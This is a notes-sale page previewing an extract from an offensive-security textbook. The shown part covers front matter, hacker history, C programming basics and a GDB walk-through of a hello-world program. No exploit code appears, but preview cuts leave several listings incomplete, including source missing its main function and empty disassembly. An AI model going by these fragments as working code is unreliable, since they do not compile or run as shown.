Search for notes by fellow students, in your own course and all over the country.
Browse our notes for titles which look like what you need, you can preview any of the notes via a sample of the contents. After you're happy these are the notes you're after simply pop them into your shopping cart.
Title: Hacking : The Art of Exploitation
Description: Title: Hacking The Art of Exploitation. Edition: 2nd Edition. Author: Jon Erickson.
Description: Title: Hacking The Art of Exploitation. Edition: 2nd Edition. Author: Jon Erickson.
Document Preview
Extracts from the notes are below, to see the PDF you'll receive please use the links above
Hacking: The Art of Exploitation, 2nd
Edition
Jon Erickson
Editor
William Pollock
Copyright © 2010
HACKING: THE ART OF EXPLOITATION, 2ND EDITION
...
All rights reserved
...
Printed on recycled paper in the United States of America
11 10 09 08 07
1 2 3 4 5 6 7 8 9
ISBN-10: 1-59327-144-1
ISBN-13: 978-1-59327-144-2
Publisher:
William Pollock
Production Editors:
Christina Samuell and Megan Dunchak
Cover Design:
Octopod Studios
Developmental Editor: Tyler Ortman
Technical Reviewer:
Aaron Adams
Copyeditors:
Dmitry Kirsanov and Megan Dunchak
Compositors:
Christina Samuell and Kathleen Mish
Proofreader:
Jim Brook
Indexer:
Nancy Guenther
For information on book distributors or translations, please contact No Starch
Press, Inc
...
555 De Haro Street, Suite 250, San Francisco, CA 94107
phone: 415
...
9900; fax: 415
...
9950; info@nostarch
...
nostarch
...
-- 2nd ed
...
cm
...
Computer security
...
Computer hackers
...
Computer networks--Security measures
...
Title
...
9
...
8--dc22
2007042910
No Starch Press and the No Starch Press logo are registered trademarks of No
Starch Press, Inc
...
Rather than use a trademark symbol
with every occurrence of a trademarked name, we are using the names only in an
editorial fashion and to the benefit of the trademark owner, with no intention of
infringement of the trademark
...
While every precaution has been taken in the preparation of this work, neither
the author nor No Starch Press, Inc
...
ACKNOWLEDGMENTS
I would like to thank Bill Pollock and everyone else at No Starch Press for making
this book a possibility and allowing me to have so much creative control in the
process
...
Seidel
for keeping me interested in the science of computer science, my parents for
buying that first Commodore VIC-20, and the hacker community for the
innovation and creativity that produced the techniques explained in this book
...
Understanding
hacking techniques is often difficult, since it requires both breadth and depth of
knowledge
...
This second edition of Hacking: The Art of
Exploitation makes the world of hacking more accessible by providing the complete
picture—from programming to machine code to exploitation
...
This CD contains all the source code in the book and provides a development and
exploitation environment you can use to follow along with the book's examples
and experiment along the way
...
INTRODUCTION
The idea of hacking may conjure stylized images of electronic vandalism,
espionage, dyed hair, and body piercings
...
Granted, there are people out there who use hacking techniques to
break the law, but hacking isn't really about that
...
The essence of hacking is finding unintended
or overlooked uses for the laws and properties of a given situation and then
applying them in new and inventive ways to solve a problem—whatever it may be
...
Each number must be used once and only once, and you may
define the order of operations; for example, 3 * (4 + 6) + 1 = 31 is valid,
however incorrect, since it doesn't total 24
...
Like the solution to this problem (shown on the last page of this book),
hacked solutions follow the rules of the system, but they use those rules in
counterintuitive ways
...
Since the infancy of computers, hackers have been creatively solving problems
...
The club's members used this equipment to rig up a
complex system that allowed multiple operators to control different parts of the
track by dialing in to the appropriate sections
...
The group moved on to programming on punch cards and ticker
tape for early computers like the IBM 704 and the TX-0
...
A new program that
could achieve the same result as an existing one but used fewer punch cards was
considered better, even though it did the same thing
...
Being able to reduce the number of punch cards needed for a program showed an
artistic mastery over the computer
...
Early
hackers proved that technical problems can have artistic solutions, and they
thereby transformed programming from a mere engineering task into an art
form
...
The few who got
it formed an informal subculture that remained intensely focused on learning and
mastering their art
...
Such obstructions
included authority figures, the bureaucracy of college classes, and discrimination
...
This drive to continually
learn and explore transcended even the conventional boundaries drawn by
discrimination, evident in the MIT model railroad club's acceptance of 12-year-old
Peter Deutsch when he demonstrated his knowledge of the TX-0 and his desire to
learn
...
The original hackers found splendor and elegance in the conventionally dry
sciences of math and electronics
...
Their desire to dissect
and understand wasn't intended to demystify artistic endeavors; it was simply a
way to achieve a greater appreciation of them
...
This is not a new cultural trend; the Pythagoreans in ancient Greece had a similar
ethic and subculture, despite not owning computers
...
That thirst for
knowledge and its beneficial byproducts would continue on through history, from
the Pythagoreans to Ada Lovelace to Alan Turing to the hackers of the MIT model
railroad club
...
How does one distinguish between the good hackers who bring us the wonders of
technological advancement and the evil hackers who steal our credit card
numbers? The term cracker was coined to distinguish evil hackers from the good
ones
...
Hackers stayed true to the Hacker Ethic, while
crackers were only interested in breaking the law and making a quick buck
...
Cracker was meant to be the catch-all label for anyone doing anything
unscrupulous with a computer— pirating software, defacing websites, and worst
of all, not understanding what they were doing
...
The term's lack of popularity might be due to its confusing etymology— cracker
originally described those who crack software copyrights and reverse engineer
copy-protection schemes
...
Few technology
journalists feel compelled to use terms that most of their readers are unfamiliar
with
...
Similarly, the term script kiddie is sometimes used to refer to crackers, but it just
doesn't have the same zing as the shadowy hacker
...
The current laws restricting cryptography and cryptographic research further
blur the line between hackers and crackers
...
This
paper responded to a challenge issued by the Secure Digital Music Initiative
(SDMI) in the SDMI Public Challenge, which encouraged the public to attempt to
break these watermarking schemes
...
The Digital Millennium
Copyright Act (DCMA) of 1998 makes it illegal to discuss or provide technology
that might be used to bypass industry consumer controls
...
He had
written software to circumvent overly simplistic encryption in Adobe software and
presented his findings at a hacker convention in the United States
...
Under the law, the
complexity of the industry consumer controls doesn't matter—it would be
technically illegal to reverse engineer or even discuss Pig Latin if it were used as
an industry consumer control
...
The sciences of nuclear physics and biochemistry can be used to kill, yet they also
provide us with significant scientific advancement and modern medicine
...
Even if we wanted to, we couldn't suppress the knowledge of how to
convert matter into energy or stop the continued technological progress of
society
...
Hackers will constantly be pushing the limits of
knowledge and acceptable behavior, forcing us to explore further and further
...
Just as
the speedy gazelle adapted from being chased by the cheetah, and the cheetah
became even faster from chasing the gazelle, the competition between hackers
provides computer users with better and stronger security, as well as more
complex and sophisticated attack techniques
...
The defending hackers create IDSs to add to their arsenal, while the
attacking hackers develop IDS-evasion techniques, which are eventually
compensated for in bigger and better IDS products
...
The intent of this book is to teach you about the true spirit of hacking
...
Included with this book is a bootable LiveCD
containing all the source code used herein as well as a preconfigured Linux
environment
...
The only requirement is
an x86 processor, which is used by all Microsoft Windows machines and the newer
Macintosh computers—just insert the CD and reboot
...
This way, you will gain a hands-on understanding and
appreciation for hacking that may inspire you to improve upon existing techniques
or even to invent new ones
...
Chapter 0x200
...
Even
though these two groups of hackers have different end goals, both groups use
similar problem-solving techniques
...
There are interesting hacks found in both the
techniques used to write elegant code and the techniques used to exploit
programs
...
The hacks found in program exploits usually use the rules of the computer to
bypass security in ways never intended
...
There are actually an infinite number of programs that can be written to
accomplish any given task, but most of these solutions are unnecessarily large,
complex, and sloppy
...
Programs that have these qualities are said to have elegance, and the clever and
inventive solutions that tend to lead to this efficiency are called hacks
...
In the business world, more importance is placed on churning out functional code
than on achieving clever hacks and elegance
...
While time and memory
optimizations go without notice by all but the most sophisticated of users, a new
feature is marketable
...
True appreciation of programming elegance is left for the hackers: computer
hobbyists whose end goal isn't to make a profit but to squeeze every possible bit
of functionality out of their old Commodore 64s, exploit writers who need to write
tiny and amazing pieces of code to slip through narrow security cracks, and
anyone else who appreciates the pursuit and the challenge of finding the best
possible solution
...
Since an understanding of programming is a prerequisite to
understanding how programs can be exploited, programming is a natural starting
point
...
A program is nothing more
than a series of statements written in a specific language
...
Driving directions, cooking recipes, football plays, and DNA are all types of
programs
...
Continue on Main Street until you see
a church on your right
...
Otherwise, you can just continue and make a right on 16th Street
...
Drive straight
down Destination Road for 5 miles, and then you'll see the house on the right
...
Anyone who knows English can understand and follow these driving directions,
since they're written in English
...
But a computer doesn't natively understand English; it only understands machine
language
...
However, machine language is arcane and difficult to work
with—it consists of raw bits and bytes, and it differs from architecture to
architecture
...
Programming like this is
painstaking and cumbersome, and it is certainly not intuitive
...
An assembler is one form of machine-language translator—it is a
program that translates assembly language into machine-readable code
...
However, assembly
language is still far from intuitive
...
Just as machine language for Intel x86
processors is different from machine language for Sparc processors, x86 assembly
language is different from Sparc assembly language
...
If a program is written in x86 assembly language, it
must be rewritten to run on Sparc architecture
...
These problems can be mitigated by yet another form of translator called a
compiler
...
Highlevel languages are much more intuitive than assembly language and can be
converted into many different types of machine language for different processor
architectures
...
C, C++, and
Fortran are all examples of high-level languages
...
Pseudo-code
Programmers have yet another form of programming language called pseudocode
...
It isn't understood by compilers, assemblers, or any
computers, but it is a useful way for a programmer to arrange instructions
...
It's sort of the nebulous missing link between English and high-level
programming languages like C
...
Control Structures
Without control structures, a program would just be a series of instructions
executed in sequential order
...
The driving
directions included statements like, Continue on Main Street until you see a church on your
right and If the street is blocked because of construction…
...
If-Then-Else
In the case of our driving directions, Main Street could be under construction
...
Otherwise, the
original set of instructions should be followed
...
In general, it looks something like this:
If (condition) then
{
Set of instructions to execute if the condition is met;
}
Else
{
Set of instruction to execute if the condition is not met;
}
For this book, a C-like pseudo-code will be used, so every instruction will end with
a semicolon, and the sets of instructions will be grouped with curly braces and
indentation
...
In C and many
other programming languages, the then keyword is implied and therefore left out,
so it has also been omitted in the preceding pseudo-code
...
These types of syntactical differences in
programming languages are only skin deep; the underlying structure is still the
same
...
Since C will
be used in the later sections, the pseudo code used in this book will follow a C-like
syntax, but remember that pseudo-code can take on many forms
...
For the
sake of readability, it's still a good idea to indent these instructions, but it's not
syntactically necessary
...
If (there is only one instruction in a set of instructions)
The use of curly braces to group the instructions is optional;
Else
{
The use of curly braces is necessary;
Since there must be a logical way to group these instructions;
}
Even the description of a syntax itself can be thought of as a simple program
...
While/Until Loops
Another elementary programming concept is the while control structure, which is
a type of loop
...
A program can accomplish this task through looping, but it requires a
set of conditions that tells it when to stop looping, lest it continue into infinity
...
A simple program for a hungry mouse could look something like this:
While (you are hungry)
{
Find some food;
Eat the food;
}
The set of two instructions following the while statement will be repeated while the
mouse is still hungry
...
Similarly, the number of times the set
of instructions in the while statement is executed changes depending on how
much food the mouse finds
...
An until loop is simply a
while loop with the conditional statement inverted
...
The driving
directions from before contained the statement Continue on Main Street until you see a
church on your right
...
While (there is not a church on the right)
Drive down Main Street;
For Loops
Another looping control structure is the for loop
...
The driving
direction Drive straight down Destination Road for 5 miles could be converted to a for loop
that looks something like this:
For (5 iterations)
Drive straight for 1 mile;
In reality, a for loop is just a while loop with a counter
...
The first section declares the counter and sets
it to its initial value, in this case 0
...
The third
and final section describes what action should be taken on the counter during
each iteration
...
Using all of the control structures, the driving directions from What Is
Programming? can be converted into a C-like pseudo-code that looks something
like this:
Begin going East on Main Street;
While (there is not a church on the right)
Drive down Main Street;
If (street is blocked)
{
Turn right on 15th Street;
Turn left on Pine Street;
Turn right on 16th Street;
}
Else
Turn right on 16th Street;
Turn left on Destination Road;
For (i=0; i<5; i++)
Drive straight for 1 mile;
Stop at 743 Destination Road;
More Fundamental Programming Concepts
In the following sections, more universal programming concepts will be
introduced
...
As I introduce these concepts, I will integrate them into
pseudo-code examples using C-like syntax
...
Variables
The counter used in the for loop is actually a type of variable
...
There are also variables that don't change, which are aptly called constants
...
In pseudo code, variables are simple
abstract concepts, but in C (and in many other languages), variables must be
declared and given a type before they can be used
...
Like a cooking recipe that
lists all the required ingredients before giving the instructions, variable
declarations allow you to make preparations before getting into the meat of the
program
...
In the
end though, despite all of the variable type declarations, everything is all just
memory
...
Some of the most common types are int (integer
values), float (decimal floating-point values), and char (single character values)
...
int a, b;
float k;
char z;
The variables a and b are now defined as integers, k can accept floating point
values (such as 3
...
Variables can be assigned values when they are declared or anytime afterward,
using the = operator
...
14;
z = 'w';
b = a + 5;
After the following instructions are executed, the variable a will contain the value
of 13, k will contain the number 3
...
Variables are simply a way to
remember values; however, with C, you must first declare each variable's type
...
In C,
the following symbols are used for various arithmetic operations
...
Modulo reduction may seem like a
new concept, but it's really just taking the remainder after division
...
Also, since the variables a and b are integers, the statement b = a / 5 will result
in the value of 2 being stored in b, since that's the integer portion of it
...
6
...
The C
language also provides several forms of shorthand for these arithmetic
operations
...
Full Expression Short hand Explanat ion
i = i + 1
i++ or ++i
Add 1 to the variable
...
These shorthand expressions can be combined with other arithmetic operations to
produce more complex expressions
...
The first expression means Increment the value of i by 1 after
evaluating the arithmetic operation, while the second expression means Increment the value
of i by 1 before evaluating the arithmetic operation
...
int a, b;
a = 5;
b = a++ * 6;
At the end of this set of instructions, b will contain 30 and a will contain 6, since
the shorthand of b = a++ * 6; is equivalent to the following statements:
b = a * 6;
a = a + 1;
However, if the instruction b = ++a * 6; is used, the order of the addition to a
changes, resulting in the following equivalent instructions:
a = a + 1;
b = a * 6;
Since the order has changed, in this case b will contain 36, and a will still contain
6
...
For example, you
might need to add an arbitrary value like 12 to a variable, and store the result
right back in that variable (for example, i = i + 12)
...
Full Expression Short hand Explanat ion
i = i + 12
i+=12
Add some value to the variable
...
i = i * 12
i*=12
Multiply some value by the variable
...
Comparison Operators
Variables are frequently used in the conditional statements of the previously
explained control structures
...
In C, these comparison operators use a shorthand syntax that
is fairly common across many programming languages
...
This is an important distinction, since the
double equal sign is used to test equivalence, while the single equal sign is used to
assign a value to a variable
...
(Some
programming languages like Pascal actually use := for variable assignment to
eliminate visual confusion
...
This symbol can be used by itself to invert any expression
...
Logic Symbol Example
OR
||
AND &&
((a < b) || (a < c))
((a < b) && !(a < c))
The example statement consisting of the two smaller conditions joined with OR
logic will fire true if a is less than b, OR if a is less than c
...
These statements should be
grouped with parentheses and can contain many different variations
...
Returning to the example of the mouse searching for food, hunger can
be translated into a Boolean true/false variable
...
While (hungry == 1)
{
Find some food;
Eat the food;
}
Here's another shorthand used by programmers and hackers quite often
...
In fact, the comparison
operators will actually return a value of 1 if the comparison is true and a value of
0 if it is false
...
Since the program only uses
these two cases, the comparison operator can be dropped altogether
...
While ((hungry) && !(cat_present))
{
Find some food;
If(!(food_is_on_a_mousetrap))
Eat the food;
}
This example assumes there are also variables that describe the presence of a cat
and the location of the food, with a value of 1 for true and 0 for false
...
Functions
Sometimes there will be a set of instructions the programmer knows he will need
several times
...
In other languages, functions are known as subroutines or
procedures
...
The driving directions from the beginning of this chapter require quite a few
turns; however, listing every little instruction for every turn would be tedious (and
less readable)
...
In this case, the function is passed the
direction of the turn
...
When a
program that knows about this function needs to turn, it can just call this function
...
Either left or right can be passed into this
function, which causes the function to turn in that direction
...
For those familiar with
functions in mathematics, this makes perfect sense
...
In C, functions aren't labeled with a "function" keyword; instead, they are
declared by the data type of the variable they are returning
...
If a function is meant to return an integer
(perhaps a function that calculates the factorial of some number x), the function
could look like this:
int factorial(int x)
{
int i;
for(i=1; i < x; i++)
x *= i;
return x;
}
This function is declared as an integer because it multiplies every value from 1 to
x and returns the result, which is an integer
...
This
factorial function can then be used like an integer variable in the main part of any
program that knows about it
...
Also in C, the compiler must "know" about functions before it can use them
...
A function prototype is simply a way to tell
the compiler to expect a function with this name, this return data type, and these
data types as its functional arguments
...
An example of a function prototype for the factorial()
function would look something like this:
int factorial(int);
Usually, function prototypes are located near the beginning of a program
...
The only thing the compiler cares about is the function's
name, its return data type, and the data types of its functional arguments
...
However, the
turn() function doesn't yet capture all the functionality that our driving
directions need
...
This means that a turning function should have two variables: the direction
to turn and the street to turn on to
...
A more complete
turning function using proper C-like syntax is listed below in pseudo-code
...
It will continue to look for
and read street signs until the target street is found; at that point, the remaining
turning instructions will be executed
...
Begin going East on Main Street;
while (there is not a church on the right)
Drive down Main Street;
if (street is blocked)
{
Turn(right, 15th Street);
Turn(left, Pine Street);
Turn(right, 16th Street);
}
else
Turn(right, 16th Street);
Turn(left, Destination Road);
for (i=0; i<5; i++)
Drive straight for 1 mile;
Stop at 743 Destination Road;
Functions aren't commonly used in pseudo-code, since pseudo-code is mostly used
as a way for programmers to sketch out program concepts before writing
compilable code
...
But in a programming language like C, functions are used heavily
...
Getting Your Hands Dirty
Now that the syntax of C feels more familiar and some fundamental programming
concepts have been explained, actually programming in C isn't that big of a step
...
Linux is a free operating system that everyone has access to, and
x86-based processors are the most popular consumer-grade processor on the
planet
...
Included with this book is a Live CD you can use to follow along if your computer
has an x86 processor
...
It
will boot into a Linux environment without modifying your existing operating
system
...
Let's get right to it
...
c program is a simple piece of C code that will
print "Hello, world!" 10 times
...
c
#include
{
puts("Hello, world!\n"); // put the string to the output
...
}
The main execution of a C program begins in the aptly named main()function
...
The first line may be confusing, but it's just C syntax that tells the compiler to
include headers for a standard input/output (I/O) library named stdio
...
It is located at
/usr/include/stdio
...
Since the main() function
uses the printf() function from the standard I/O library, a function prototype is
needed for printf() before it can be used
...
h header file
...
The rest of the code should make sense and
look a lot like the pseudo-code from before
...
It should be fairly obvious
what this program will do, but let's compile it using GCC and run it just to make
sure
...
The outputted translation is an
executable binary file, which is called a
...
Does the compiled
program do what you thought it would?
reader@hacking:~/booksrc $ gcc firstprog
...
out
-rwxr-xr-x 1 reader reader 6621 2007-09-06 22:16 a
...
/a
...
Most introductory programming classes just teach how to
read and write C
...
Most programmers learn the language from the top down and never see
the big picture
...
To see the bigger picture in the realm of programming,
simply realize that C code is meant to be compiled
...
Thinking of C-source as
a program is a common misconception that is exploited by hackers every day
...
out's instructions are written in machine language, an elementary
language the CPU can understand
...
In this case, the processor is in a family that uses the x86
architecture
...
Each architecture has a different machine language, so the compiler acts as a
middle ground—translating C code into machine language for the target
architecture
...
But a hacker realizes that the compiled program is
what actually gets executed out in the real world
...
We
have seen the source code for our first program and compiled it into an
executable binary for the x86 architecture
...
Let's start by looking at the machine
code the main() function was translated into
...
out | grep -A20 main
...
Each byte is represented in
hexadecimal notation, which is a base-16 numbering system
...
Hexadecimal uses 0 through 9 to represent 0 through 9, but it also
uses A through F to represent the values 10 through 15
...
This means a byte has 256 (28) possible values, so each byte can be described
with 2 hexadecimal digits
...
The bits of the machine language instructions must be put somewhere,
and this somewhere is called memory
...
Like a row of houses on a local street, each with its own address, memory can be
thought of as a row of bytes, each with its own memory address
...
Older Intel x86 processors use a 32-bit addressing scheme,
while newer ones use a 64-bit one
...
84467441 x
1019) possible addresses
...
The hexadecimal bytes in the middle of the listing above are the machine
language instructions for the x86 processor
...
But since 0101010110001001111001011000001111101100111100001 … isn't very useful to
anything other than the processor, the machine code is displayed as hexadecimal
bytes and each instruction is put on its own line, like splitting a paragraph into
sentences
...
The instructions on the far
right are in assembly language
...
The instruction
ret is far easier to remember and make sense of than 0xc3 or 11000011
...
This
means that since every processor architecture has different machine language
instructions, each also has a different form of assembly language
...
Exactly how these machine language instructions are
represented is simply a matter of convention and preference
...
The assembly
shown in the output on The Bigger Picture is AT&T syntax, as just about all of
Linux's disassembly tools use this syntax by default
...
The same code can be shown in Intel
syntax by providing an additional command-line option, -M intel, to objdump, as
shown in the output below
...
out | grep -A20 main
...
Regardless of
the assembly language representation, the commands a processor understands
are quite simple
...
These operations move memory around, perform some sort of basic
math, or interrupt the processor to get it to do something else
...
But in the same way millions of books have
been written using a relatively small alphabet of letters, an infinite number of
possible programs can be created using a relatively small collection of machine
instructions
...
Most of the
instructions use these registers to read or write data, so understanding the
registers of a processor is essential to understanding the instructions
...
The x86 Processor
The 8086 CPU was the first x86 processor
...
If you remember people talking about 386 and
486 processors in the '80s and '90s, this is what they were referring to
...
I could just talk abstractly about these registers now, but I think it's
always better to see things for yourself
...
Debuggers are used by programmers to step through
compiled programs, examine program memory, and view processor registers
...
Similar to a microscope, a debugger allows a hacker to observe the microscopic
world of machine code—but a debugger is far more powerful than this metaphor
allows
...
Below, GDB is used to show the state of the processor registers right before the
program starts
...
/a
...
so
...
(gdb) break main
Breakpoint 1 at 0x804837a
(gdb) run
Starting program: /home/reader/booksrc/a
...
Exit anyway? (y or n) y
reader@hacking:~/booksrc $
A breakpoint is set on the main() function so execution will stop right before our
code is executed
...
The first four registers (EAX, ECX, EDX, and EBX) are known as general purpose
registers
...
They are used for a variety of purposes, but they mainly act as
temporary variables for the CPU when it is executing machine instructions
...
These stand for
Stack Pointer, Base Pointer, Source Index, and Destination Index, respectively
...
These registers are fairly important
to program execution and memory management; we will discuss them more later
...
There are load and store instructions that use these registers, but for the most
part, these registers can be thought of as just simple general-purpose registers
...
Like a child pointing his finger at each word
as he reads, the processor reads each instruction using the EIP register as its
finger
...
Currently, it points to a memory address at 0x804838a
...
The actual memory is split into
several different segments, which will be discussed later, and these registers keep
track of that
...
Assembly Language
Since we are using Intel syntax assembly language for this book, our tools must be
configured to use this syntax
...
You
can configure this setting to run every time GDB starts up by putting the
command in the file
...
reader@hacking:~/booksrc $ gdb -q
(gdb) set dis intel
(gdb) quit
reader@hacking:~/booksrc $ echo "set dis intel" > ~/
...
gdbinit
set dis intel
reader@hacking:~/booksrc $
Now that GDB is configured to use Intel syntax, let's begin understanding it
...
The operations are usually intuitive mnemonics: The movoperation will
move a value from the source to the destination, sub will subtract, inc will
increment, and so forth
...
8048375: 89 e5 mov ebp,esp
8048377: 83 ec 08 sub esp,0x8
There are also operations that are used to control the flow of execution
...
The example below first compares a 4-byte value located at EBP
minus 4 with the number 9
...
If that value is less than
or equal to 9, execution jumps to the instruction at 0x8048393
...
If the value
isn't less than or equal to 9, execution will jump to 0x80483a6
...
The -g flag can be used by the GCC compiler to include extra debugging
information, which will give GDB access to the source code
...
c
reader@hacking:~/booksrc $ ls -l a
...
out
reader@hacking:~/booksrc $ gdb -q
...
out
Using host libthread_db library "/lib/libthread_db
...
1"
...
h>
2
3 int main()
4 {
5 int i;
6 for(i=0; i < 10; i++)
7 {
8 printf("Hello, world!\n");
9 }
10 }
(gdb) disassemble main
Dump of assembler code for function main():
0x08048384
0x08048385
0x08048387
0x0804838a
0x0804838d
0x08048392
0x08048394
0x0804839b
0x0804839f
0x080483a1
0x080483a3
0x080483aa
0x080483af
0x080483b2
0x080483b4
0x080483b6
0x080483b7
End of assembler dump
...
c, line 6
...
out
Breakpoint 1, main() at firstprog
...
Then a breakpoint is set at the start of main(), and the program is run
...
Since the breakpoint has been set at the start of the
main() function, the program hits the breakpoint and pauses before actually
executing any instructions in main()
...
Notice that EIP contains a memory address that points to an instruction in the
main() function's disassembly (shown in bold)
...
Part of the reason variables need to be declared in C is to aid the
construction of this section of code
...
We'll talk more about
the function prologue later, but for now we can take a cue from GDB and skip it
...
Examining memory is a critical skill for any
hacker
...
In both magic
and hacking, if you were to look in just the right spot, the trick would be obvious
...
But
with a debugger like GDB, every aspect of a program's execution can be
deterministically examined, paused, stepped through, and repeated as often as
needed
...
The examine command in GDB can be used to look at a certain address of memory
in a variety of ways
...
The display format also uses a single-letter shorthand, which is optionally
preceded by a count of how many items to examine
...
x Display in hexadecimal
...
t Display in binary
...
In the following example, the current address of the EIP register is used
...
gdb) i r eip
eip 0x8048384 0x8048384
(gdb) x/o 0x8048384
0x8048384
(gdb) x/x $eip
0x8048384
(gdb) x/u $eip
0x8048384
(gdb) x/t $eip
0x8048384
(gdb)
The memory the EIP register is pointing to can be examined by using the address
stored in EIP
...
The value 077042707 in octal
is the same as 0x00fc45c7 in hexadecimal, which is the same as 16532935 in base10 decimal, which in turn is the same as 00000000111111000100010111000111 in
binary
...
(gdb) x/2x $eip
0x8048384
(gdb) x/12x $eip
0x8048384
0x8048394
0x80483a4
(gdb)
The default size of a single unit is a four-byte unit called a word
...
The valid size letters are as follows:
A single byte
h A halfword, which is two bytes in size
w A word, which is four bytes in size
g A giant, which is eight bytes in size
b
This is slightly confusing, because sometimes the term word also refers to 2-byte
values
...
In this book,
words and DWORDs both refer to 4-byte values
...
The following GDB output shows memory
displayed in various sizes
...
The first
examine command shows the first eight bytes, and naturally, the examine
commands that use bigger units display more data in total
...
This same byte-reversal effect can be seen when a full four-byte
word is shown as 0x00fc45c7, but when the first four bytes are shown byte by
byte, they are in the order of 0xc7, 0x45, 0xfc, and 0x00
...
For example, if four bytes
are to be interpreted as a single value, the bytes must be used in reverse order
...
Revisiting these values displayed both as hexadecimal and
unsigned decimals might help clear up any confusion
...
Exit anyway? (y or n) y
reader@hacking:~/booksrc $ bc -ql
199*(256^3) + 69*(256^2) + 252*(256^1) + 0*(256^0)
3343252480
0*(256^3) + 252*(256^2) + 69*(256^1) + 199*(256^0)
16532935
quit
reader@hacking:~/booksrc $
The first four bytes are shown both in hexadecimal and standard unsigned
decimal notation
...
The byte order of a given architecture is an important
detail to be aware of
...
In addition to converting byte order, GDB can do other conversions with the
examine command
...
The examine
command also accepts the format letter i, short for instruction, to display the
memory as disassembled assembly language instructions
...
/a
...
so
...
(gdb) break main
Breakpoint 1 at 0x8048384: file firstprog
...
(gdb) run
Starting program: /home/reader/booksrc/a
...
c:6
6 for(i=0; i < 10; i++)
(gdb) i r $eip
eip 0x8048384 0x8048384
(gdb) x/i $eip
0x8048384
(gdb) x/3i $eip
0x8048384
0x804838b
0x804838f
(gdb) x/7xb $eip
0x8048384
(gdb) x/i $eip
0x8048384
(gdb)
In the output above, the a
...
Since the EIP register is pointing to memory that actually contains
machine language instructions, they disassemble quite nicely
...
8048384: c7 45 fc 00 00 00 00 mov DWORD PTR [ebp-4],0x0
This assembly instruction will move the value of 0 into memory located at the
address stored in the EBP register, minus 4
...
Basically, this command will zero out the variable i for the for
loop
...
The memory at this location can be examined several different ways
...
The
examine command can examine this memory address directly or by doing the
math on the fly
...
This variable named $1
can be used later to quickly re-access a particular location in memory
...
Let's execute the current instruction using the command nexti, which is short for
next instruction
...
(gdb) nexti
0x0804838b 6 for(i=0; i < 10; i++)
(gdb) x/4xb $1
0xbffff804: 0x00 0x00 0x00 0x00
(gdb) x/dw $1
0xbffff804: 0
(gdb) i r eip
eip 0x804838b 0x804838b
(gdb) x/i $eip
0x804838b
(gdb)
As predicted, the previous command zeroes out the 4 bytes found at EBP minus 4,
which is memory set aside for the C variable i
...
The next few instructions actually make more sense to talk about in a
group
...
The next instruction, jle
stands for jump if less than or equal to
...
In this case the instruction says to jump to the
address 0x8048393 if the value stored in memory for the C variable i is less than
or equal to the value 9
...
This will cause the EIP to
jump to the address 0x80483a6
...
The first address of
0x8048393 (shown in bold) is simply the instruction found after the fixed jump
instruction, and the second address of 0x80483a6 (shown in italics) is located at
the end of the function
...
(gdb) nexti
0x0804838f 6 for(i=0; i < 10; i++)
(gdb) x/i $eip
0x804838f
(gdb) nexti
8 printf("Hello, world!\n");
(gdb) i r eip
eip 0x8048393 0x8048393
(gdb) x/2i $eip
0x8048393
0x804839a
(gdb)
As expected, the previous two instructions let the program execution flow down to
0x8048393, which brings us to the next two instructions
...
But what is ESP pointing to?
(gdb) i r esp
esp 0xbffff800 0xbffff800
(gdb)
Currently, ESP points to the memory address 0xbffff800, so when the mov
instruction is executed, the address 0x8048484 is written there
...
(gdb) x/2xw 0x8048484
0x8048484: 0x6c6c6548 0x6f57206f
(gdb) x/6xb 0x8048484
0x8048484: 0x48 0x65 0x6c 0x6c 0x6f 0x20
(gdb) x/6ub 0x8048484
0x8048484: 72 101 108 108 111 32
(gdb)
A trained eye might notice something about the memory here, in particular the
range of the bytes
...
These bytes fall within the printable ASCII
range
...
The bytes 0x48, 0x65, 0x6c,
and 0x6f all correspond to letters in the alphabet on the ASCII table shown below
...
ASCII Table
Oct Dec Hex Char Oct Dec Hex Char
-----------------------------------------------------------000 0 00 NUL '\0' 100 64 40 @
001 1 01 SOH 101 65 41 A
002 2 02 STX 102 66 42 B
003 3 03 ETX 103 67 43 C
004 4 04 EOT 104 68 44 D
005 5 05 ENQ 105 69 45 E
006 6 06 ACK 106 70 46 F
007 7 07 BEL '\a' 107 71 47 G
010 8 08 BS '\b' 110 72 48 H
011 9 09 HT '\t' 111 73 49 I
012 10 0A LF '\n' 112 74 4A J
013 11 0B VT '\v' 113 75 4B K
014 12 0C FF '\f' 114 76 4C L
015 13 0D CR '\r' 115 77 4D M
016 14 0E SO 116 78 4E N
017 15 0F SI 117 79 4F O
020 16 10 DLE 120 80 50 P
021 17 11 DC1 121 81 51 Q
022 18 12 DC2 122 82 52 R
023 19 13 DC3 123 83 53 S
024 20 14 DC4 124 84 54 T
025 21 15 NAK 125 85 55 U
026 22 16 SYN 126 86 56 V
027 23 17 ETB 127 87 57 W
030 24 18 CAN 130 88 58 X
031 25 19 EM 131 89 59 Y
032 26 1A SUB 132 90 5A Z
033 27 1B ESC 133 91 5B [
034 28 1C FS 134 92 5C \ '\\'
035 29 1D GS 135 93 5D ]
036 30 1E RS 136 94 5E ^
037 31 1F US 137 95 5F _
040 32 20 SPACE 140 96 60 `
041 33 21 ! 141 97 61 a
042 34 22 " 142 98 62 b
043 35 23 # 143 99 63 c
044 36 24 $ 144 100 64 d
045 37 25 % 145 101 65 e
046 38 26 & 146 102 66 f
047 39 27 ' 147 103 67 g
050 40 28 ( 150 104 68 h
051 41 29 ) 151 105 69 i
052 42 2A * 152 106 6A j
053 43 2B + 153 107 6B k
054 44 2C , 154 108 6C l
055 45 2D - 155 109 6D m
056 46 2E
...
The c format letter can be used to automatically look up a byte on
the ASCII table, and the s format letter will display an entire string of character
data
...
This string is the argument for the printf()
function, which indicates that moving the address of this string to the address
tored in ESP (0x8048484) has something to do with this function
...
(gdb) x/2i $eip
0x8048393
0x804839a
(gdb) x/xw $esp
0xbffff800: 0xb8000ce0
(gdb) nexti
0x0804839a 8 printf("Hello, world!\n");
(gdb) x/xw $esp
0xbffff800: 0x08048484
(gdb)
The next instruction is actually called the printf() function; it prints the data
string
...
(gdb) x/i $eip
0x804839a
(gdb) nexti
Hello, world!
6 for(i=0; i < 10; i++)
(gdb)
Continuing to use GDB to debug, let's examine the next two instructions
...
(gdb) x/2i $eip
0x804839f
0x80483a2
(gdb)
These two instructions basically just increment the variable i by 1
...
The execution of this instruction is
shown below
...
The execution of this instruction is also shown
below
...
This behavior corresponds to a portion of C code
in which the variable i is incremented in the for loop
...
(gdb) x/i $eip
0x80483a4
(gdb)
When this instruction is executed, it will send the program back to the instruction
at address 0x804838b
...
Looking at the full disassembly again, you should be able to tell which parts of the
C code have been compiled into which machine instructions
...
(gdb) list
1 #include
